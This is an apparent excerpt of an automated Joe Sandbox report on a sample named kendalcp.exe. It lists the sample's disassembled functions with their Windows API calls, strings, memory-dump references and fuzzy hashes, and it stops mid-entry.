SystemTimeToFileTime.KERNEL32(?,?), ref: 00710D0D

Part of subcall function 0070ACF5: GetVersionExW.KERNEL32(?), ref: 0070AD1A

LocalFileTimeToFileTime.KERNEL32(?,00710CB8), ref: 00710D31
FileTimeToSystemTime.KERNEL32(?,?), ref: 00710D47
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00710D56
SystemTimeToFileTime.KERNEL32(?,00710CB8), ref: 00710D64
SystemTimeToFileTime.KERNEL32(?,?), ref: 00710D72

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 4d05494e84c371274d2fe98621dfb76b062a05e02ce9d6725a8502d9719024c9
Instruction ID: fc0a761390d003e40087338c7dc2493613d5d04c717903abcd9439968085a5dc
Opcode Fuzzy Hash: 4d05494e84c371274d2fe98621dfb76b062a05e02ce9d6725a8502d9719024c9
Instruction Fuzzy Hash: 6331197A90020AEBCB10DFE8D8859EFBBBCFF58701B04441AE955E3210E7349685CB68

Function 007191B0 Relevance: 9.1, APIs: 6, Instructions: 89COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 007191D4
_memcmp.LIBVCRUNTIME ref: 007191EB

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 779a24a2c7fc16e3866450258666aebaa8a3428e009dbe993420a840fa082198
Instruction ID: 5dd666eff17f6e2172ab05d09db8ee85423f32975376b68eecf9eec0dbef5816
Opcode Fuzzy Hash: 779a24a2c7fc16e3866450258666aebaa8a3428e009dbe993420a840fa082198
Instruction Fuzzy Hash: 102195B170410EBBE7049E18DC91EBB77ADBB50788F108124FD4997286E27CEDC79691

Function 0071D2E6 Relevance: 9.0, APIs: 6, Instructions: 43windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 0071D2F2
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0071D30C
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0071D31D
TranslateMessage.USER32(?), ref: 0071D327
DispatchMessageW.USER32(?), ref: 0071D331
WaitForSingleObject.KERNEL32(?,0000000A), ref: 0071D33C

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 843203230e61af849cebe5ca0f080d9e13d1fc0db4cf23c5b414022d46231b0d
Instruction ID: bea133d3bc92459e4c66ff670260f6b31f8f825b4b7223d50838356df47b97b9
Opcode Fuzzy Hash: 843203230e61af849cebe5ca0f080d9e13d1fc0db4cf23c5b414022d46231b0d
Instruction Fuzzy Hash: 15F03C72A0161DBBCB315BA5DC4CEDBBF6EEF51392F008112F606D2051D6798982CBB5

Function 0071C40E Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0071C435

Part of subcall function 007117AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0070BB05,00000000,.exe,?,?,00000800,?,?,007185DF,?), ref: 007117C2

Strings

MIN, xrefs: 0071C4A3
<, xrefs: 0071C41E
HIDE, xrefs: 0071C474
MAX, xrefs: 0071C487

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: CompareString_wcschr
String ID: <$HIDE$MAX$MIN
API String ID: 2548945186-3358265660
Opcode ID: c4298a817278cade8b96743e46f68278ee3043c83ed10fa6e4d4b156db60b316
Instruction ID: 9f37ce2323502664f19636b25795f44d8aaa3d3630ec977dbdba925f293c0663
Opcode Fuzzy Hash: c4298a817278cade8b96743e46f68278ee3043c83ed10fa6e4d4b156db60b316
Instruction Fuzzy Hash: 0A319272944249AADF22DA98DC45EEF77BCEF14710F0040A6FA05D60D1EBB89FC4CA50

Function 0071A990 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0070130B: GetDlgItem.USER32(00000000,00003021), ref: 0070134F
Part of subcall function 0070130B: SetWindowTextW.USER32(00000000,007335B4), ref: 00701365

EndDialog.USER32(?,00000001), ref: 0071A9DE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 0071A9F6
SetDlgItemTextW.USER32(?,00000067,?), ref: 0071AA24

Strings

xju, xrefs: 0071AA02
GETPASSWORD1, xrefs: 0071A9A9

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1$xju
API String ID: 445417207-2035766297
Opcode ID: c1334db7740dba8893b2155e48bafeb00c2b639e2575818368ebdb1150cea053
Instruction ID: 126e2900ec707f90f50aa91ea34b44a2c2f35112f9f20708485f9b3b7b58433f
Opcode Fuzzy Hash: c1334db7740dba8893b2155e48bafeb00c2b639e2575818368ebdb1150cea053
Instruction Fuzzy Hash: 32110832945118BADB219A689D09FFB776CEF49701F004421FA45B20D1C2ADA9D5D6B2

Function 0071ADED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 0071ADFD
GetObjectW.GDI32(00000000,00000018,?), ref: 0071AE22
DeleteObject.GDI32(00000000), ref: 0071AE54
DeleteObject.GDI32(00000000), ref: 0071AE77

Part of subcall function 00719E1C: FindResourceW.KERNEL32(0071AE4D,PNG,?,?,?,0071AE4D,00000066), ref: 00719E2E
Part of subcall function 00719E1C: SizeofResource.KERNEL32(00000000,00000000,?,?,?,0071AE4D,00000066), ref: 00719E46
Part of subcall function 00719E1C: LoadResource.KERNEL32(00000000,?,?,?,0071AE4D,00000066), ref: 00719E59
Part of subcall function 00719E1C: LockResource.KERNEL32(00000000,?,?,?,0071AE4D,00000066), ref: 00719E64

Strings

], xrefs: 0071AE2A

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID: ]
API String ID: 142272564-3352871620
Opcode ID: d4d7bcf9a01256defac30d9009b3a9581389b201fee7ba48a5836156ba77eb12
Instruction ID: c38223c9e3cae93de1e50e691eb6519032ea585518e672278eda296a1c08f676
Opcode Fuzzy Hash: d4d7bcf9a01256defac30d9009b3a9581389b201fee7ba48a5836156ba77eb12
Instruction Fuzzy Hash: FD014836541211F6C710276C9C1AAFF7B799F81B01F080011FE00A72D1CB794C6A82A2

Function 0071CC90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 0070130B: GetDlgItem.USER32(00000000,00003021), ref: 0070134F
Part of subcall function 0070130B: SetWindowTextW.USER32(00000000,007335B4), ref: 00701365

EndDialog.USER32(?,00000001), ref: 0071CCDB
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 0071CCF1
SetDlgItemTextW.USER32(?,00000066,?), ref: 0071CD05
SetDlgItemTextW.USER32(?,00000068), ref: 0071CD14

Strings

RENAMEDLG, xrefs: 0071CCA8

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 872edd39e8bc00c1593fe9cd08489e4a28c240962a343b6e8fd708e9d3b0589c
Instruction ID: 82d4a5a6ded6710e8990698919d4e88305ff285fbad74e0deb13c4f5970f16ba
Opcode Fuzzy Hash: 872edd39e8bc00c1593fe9cd08489e4a28c240962a343b6e8fd708e9d3b0589c
Instruction Fuzzy Hash: E401F5322C43107AD3164FA8AC09FE77B9CAB5A742F148410F346A20E1C6AE994587B9

Function 00722503 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 0072251A

Part of subcall function 00722B52: ___AdjustPointer.LIBCMT ref: 00722B9C

_UnwindNestedFrames.LIBCMT ref: 00722531
___FrameUnwindToState.LIBVCRUNTIME ref: 00722543
CallCatchBlock.LIBVCRUNTIME ref: 00722567

Strings

/)r, xrefs: 00722526, 00722517

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID: /)r
API String ID: 2633735394-907892532
Opcode ID: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction ID: ab9f4323db071ae78cd3017f1c555e979a0777f6266a4eeed6cbea6fdc698719
Opcode Fuzzy Hash: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction Fuzzy Hash: 99012932000118FBCF129F65EC05EDA3BBAEF58714F058154FD1866122C37AE9B2EBA1

Function 007275C2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00727573,00000000,?,00727513,00000000,0073BAD8,0000000C,0072766A,00000000,00000002), ref: 007275E2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 007275F5
FreeLibrary.KERNEL32(00000000,?,?,?,00727573,00000000,?,00727513,00000000,0073BAD8,0000000C,0072766A,00000000,00000002), ref: 00727618

Strings

CorExitProcess, xrefs: 007275ED
mscoree.dll, xrefs: 007275DB

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a8a767a991f576c9a9cfeb7eef13418278e01778f1ad916589271f9a4f6095db
Instruction ID: 3a14628c9aa83331bf53d9299cee69ad62a6104ab670a32a49df1977f20fc903
Opcode Fuzzy Hash: a8a767a991f576c9a9cfeb7eef13418278e01778f1ad916589271f9a4f6095db
Instruction Fuzzy Hash: 04F0447061851CBBEB159F94DD09B9DBFB9EF04712F004158F805A6150DB788A40CB94

Function 0070EB73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00710085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 007100A0
Part of subcall function 00710085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0070EB86,Crypt32.dll,00000000,0070EC0A,?,?,0070EBEC,?,?,?), ref: 007100C2

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0070EB92
GetProcAddress.KERNEL32(007481C0,CryptUnprotectMemory), ref: 0070EBA2

Strings

CryptUnprotectMemory, xrefs: 0070EB98
CryptProtectMemory, xrefs: 0070EB8C
Crypt32.dll, xrefs: 0070EB7C

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 43cd79af5933b190d08e784390d8e86fded29744973b96a887fa88b9a8b27a18
Instruction ID: 97237603374a26b8ac16966a6e0f96da2ce3fc2ffe6e3dacf93eb76232945af3
Opcode Fuzzy Hash: 43cd79af5933b190d08e784390d8e86fded29744973b96a887fa88b9a8b27a18
Instruction Fuzzy Hash: 8CE04FB0900741DEEB319F389809B42BAE49B14705F04C85DE4D6D3181D6FDE5808B50

Function 00727DD9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00727E4B
_free.LIBCMT ref: 00727E6B

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 6ad0197978aa8b5d6b044371ea453cbf0e79f3b3a00f307896f24ad0f76c6ad6
Instruction ID: 950acf99509d0365bc51e05f95e990933fbfa25a7de1a537ed9947604eb61b16
Opcode Fuzzy Hash: 6ad0197978aa8b5d6b044371ea453cbf0e79f3b3a00f307896f24ad0f76c6ad6
Instruction Fuzzy Hash: B741F332E00310DBDB14DF78D981A5EB7B6EF84314F1685A8E915EB281DB35AD01CB80

Function 0072B610 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0072B619
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0072B63C

Part of subcall function 00728518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0072C13D,00000000,?,007267E2,?,00000008,?,007289AD,?,?,?), ref: 0072854A

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0072B662
_free.LIBCMT ref: 0072B675
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0072B684

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 932525a10fec60814587a7f0c2257537a2a37ca902fec8c75b2b76c6d331303f
Instruction ID: 4ba4365c775f6ab139e20a383a0b82a7243cbe97dd9757c82e7470d4496ed5f8
Opcode Fuzzy Hash: 932525a10fec60814587a7f0c2257537a2a37ca902fec8c75b2b76c6d331303f
Instruction Fuzzy Hash: CF018472A02635BF63211A767C8CC7B6B6DEEC6BA23154229BD04C7150DF6D8D01A1B4

Function 0071075B Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 00710A41: ResetEvent.KERNEL32(?), ref: 00710A53
Part of subcall function 00710A41: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00710A67

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 0071078F
CloseHandle.KERNEL32(?,?), ref: 007107A9
DeleteCriticalSection.KERNEL32(?), ref: 007107C2
CloseHandle.KERNEL32(?), ref: 007107CE
CloseHandle.KERNEL32(?), ref: 007107DA

Part of subcall function 0071084E: WaitForSingleObject.KERNEL32(?,000000FF,00710A78,?), ref: 00710854
Part of subcall function 0071084E: GetLastError.KERNEL32(?), ref: 00710860

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 126e62d2cc56102969b9abf898c2b462ff388db657eecf3aaf3814e8ebbb7007
Instruction ID: 1fafe247f1f1bf0a996f2bc0e1750bf29f713ef567b7b7b10636fe68f8b376b1
Opcode Fuzzy Hash: 126e62d2cc56102969b9abf898c2b462ff388db657eecf3aaf3814e8ebbb7007
Instruction Fuzzy Hash: 6B01F572400704EFCB329B28DC84FC6BBEAFB48711F004519F15A821A0CBBD7A84CB94

Function 0072BF10 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0072BF28

Part of subcall function 007284DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0072BFA7,?,00000000,?,00000000,?,0072BFCE,?,00000007,?,?,0072C3CB,?), ref: 007284F4
Part of subcall function 007284DE: GetLastError.KERNEL32(?,?,0072BFA7,?,00000000,?,00000000,?,0072BFCE,?,00000007,?,?,0072C3CB,?,?), ref: 00728506

_free.LIBCMT ref: 0072BF3A
_free.LIBCMT ref: 0072BF4C
_free.LIBCMT ref: 0072BF5E
_free.LIBCMT ref: 0072BF70

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8f2499976cda4d3917d4783a857a572ad7937bd7ac6302551da3d47ed24b50bc
Instruction ID: 09f2cd732372f972d7abb46b63ec7b1bb4a1a0686d1ce51f184db4de019d9aec
Opcode Fuzzy Hash: 8f2499976cda4d3917d4783a857a572ad7937bd7ac6302551da3d47ed24b50bc
Instruction Fuzzy Hash: 1BF01272615265E796A0EF64FFCAD1673E9BA047107648849F048D7D90CB3DFC808A55

Function 007276BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\kendalcp.exe,00000104), ref: 007276FD
_free.LIBCMT ref: 007277C8
_free.LIBCMT ref: 007277D2

Strings

C:\Users\user\AppData\Local\Temp\kendalcp.exe, xrefs: 007276F4, 007276FB, 0072772A, 00727762

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\kendalcp.exe
API String ID: 2506810119-2661863577
Opcode ID: 1a82150286586430b2a5112c256a3167fbeba15b1d32a279eb0985097e04de00
Instruction ID: 14d7cc5632bef4391c858777678db450b8b2af28993007ca777b1daabc6bdfc3
Opcode Fuzzy Hash: 1a82150286586430b2a5112c256a3167fbeba15b1d32a279eb0985097e04de00
Instruction Fuzzy Hash: 6531C271A05328EFDB25DF99ED89D9EBBFCEB84310F1440A6E80597310DAB84E40CB51

Function 00707574 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00707579

Part of subcall function 00703B3D: __EH_prolog.LIBCMT ref: 00703B42

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00707640

Part of subcall function 00707BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00707C04
Part of subcall function 00707BF5: GetLastError.KERNEL32 ref: 00707C4A
Part of subcall function 00707BF5: CloseHandle.KERNEL32(?), ref: 00707C59

Strings

SeSecurityPrivilege, xrefs: 007075BE
SeRestorePrivilege, xrefs: 007075D3

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
